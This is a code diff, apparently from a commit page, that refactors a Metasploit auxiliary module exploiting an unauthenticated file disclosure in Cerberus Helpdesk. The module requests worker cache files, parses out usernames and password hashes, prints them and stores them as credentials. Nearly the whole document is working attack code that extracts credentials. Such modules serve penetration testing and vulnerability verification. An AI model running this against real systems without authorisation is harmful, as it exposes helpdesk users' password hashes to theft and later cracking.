@@ -14,58 +14,69 @@ def initialize
14
14
'Name' => 'Cerberus Helpdesk User Hash Disclosure' ,
15
15
'Description' => %q{
16
16
This module extracts usernames and password hashes from the Cerberus Helpdesk
17
- through an unauthenticated accss to a workers file.
17
+ through an unauthenticated access to a workers file.
18
18
Verified on Version 4.2.3 Stable (Build 925) and 5.4.4
19
19
} ,
20
20
'References' =>
21
21
[
22
22
[ 'EDB' , '39526' ]
23
23
] ,
24
- 'Author' => [
25
- 'asdizzle_' , # discovery
26
- 'h00die' , # module
24
+ 'Author' =>
25
+ [
26
+ 'asdizzle_' , # discovery
27
+ 'h00die' , # module
27
28
] ,
28
- 'License' => MSF_LICENSE
29
+ 'License' => MSF_LICENSE ,
30
+ 'DisclosureDate' => 'Mar 7 2016'
29
31
)
30
32
31
33
register_options (
32
34
[
33
- OptString . new ( 'URI ' , [ false , 'URL of the Cerberus Helpdesk root' , '/' ] )
35
+ OptString . new ( 'TARGETURI ' , [ false , 'URL of the Cerberus Helpdesk root' , '/' ] )
34
36
] )
35
37
end
36
38
37
39
def run_host ( rhost )
38
40
begin
39
41
[ 'devblocks' , 'zend' ] . each do |site |
40
- url = " #{ datastore [ 'URI' ] } storage/ tmp/ #{ site } _cache---ch_workers"
42
+ url = normalize_uri ( datastore [ 'TARGETURI' ] , ' storage' , ' tmp' , " #{ site } _cache---ch_workers")
41
43
vprint_status ( "Attempting to load data from #{ url } " )
42
44
res = send_request_cgi ( { 'uri' => url } )
43
- if not res
45
+ if ! res
44
46
print_error ( "#{ peer } Unable to connect to #{ url } " )
45
- else
46
- if res . body . include? ( 'pass' )
47
- # the returned object looks json-ish, but it isn't. Unsure of format, so we'll do some ugly manual parsing.
48
- # this will be a rough equivalent to sed -e 's/s:5/\n/g' | grep email | cut -d '"' -f4,8 | sed 's/"/:/g'
49
- result = res . body . split ( 's:5' )
50
- result . each do |cred |
51
- if cred . include? ( 'email' )
52
- cred = cred . split ( ':' )
53
- username = cred [ 3 ] . tr ( '";' , '' ) # remove extra characters
54
- username = username [ 0 ...-1 ] # also remove trailing s
55
- password_hash = cred [ 7 ] . tr ( '";' , '' ) # remove extra characters
56
- print_good ( "#{ username } :#{ password_hash } " )
57
- store_valid_credential (
58
- user : username ,
59
- private : password_hash ,
60
- private_type : :nonreplayable_hash
61
- )
62
- end
63
- end
64
- break # no need to get the 2nd url
65
- else
66
- print_error ( "Invalid response received for #{ url } " )
47
+ next
48
+ end
49
+
50
+ if !res . body . include? ( 'pass' )
51
+ print_error ( "Invalid response received for #{ peer } for #{ url } " )
52
+ next
53
+ end
54
+
55
+ cred_table = Rex ::Text ::Table . new 'Header' => 'Cerberus Helpdesk User Credentials' ,
56
+ 'Indent' => 1 ,
57
+ 'Columns' => [ 'Username' , 'Password Hash' ]
58
+
59
+ # the returned object looks json-ish, but it isn't. Unsure of format, so we'll do some ugly manual parsing.
60
+ # this will be a rough equivalent to sed -e 's/s:5/\n/g' | grep email | cut -d '"' -f4,8 | sed 's/"/:/g'
61
+ result = res . body . split ( 's:5' )
62
+ result . each do |cred |
63
+ if cred . include? ( 'email' )
64
+ cred = cred . split ( ':' )
65
+ username = cred [ 3 ] . tr ( '";' , '' ) # remove extra characters
66
+ username = username [ 0 ...-1 ] # also remove trailing s
67
+ password_hash = cred [ 7 ] . tr ( '";' , '' ) # remove extra characters
68
+ print_good ( "Found: #{ username } :#{ password_hash } " )
69
+ store_valid_credential (
70
+ user : username ,
71
+ private : password_hash ,
72
+ private_type : :nonreplayable_hash
73
+ )
74
+ cred_table << [ username , password_hash ]
67
75
end
68
76
end
77
+ print_line
78
+ print_line cred_table . to_s
79
+ break
69
80
end
70
81
71
82
rescue ::Rex ::ConnectionError
0 commit comments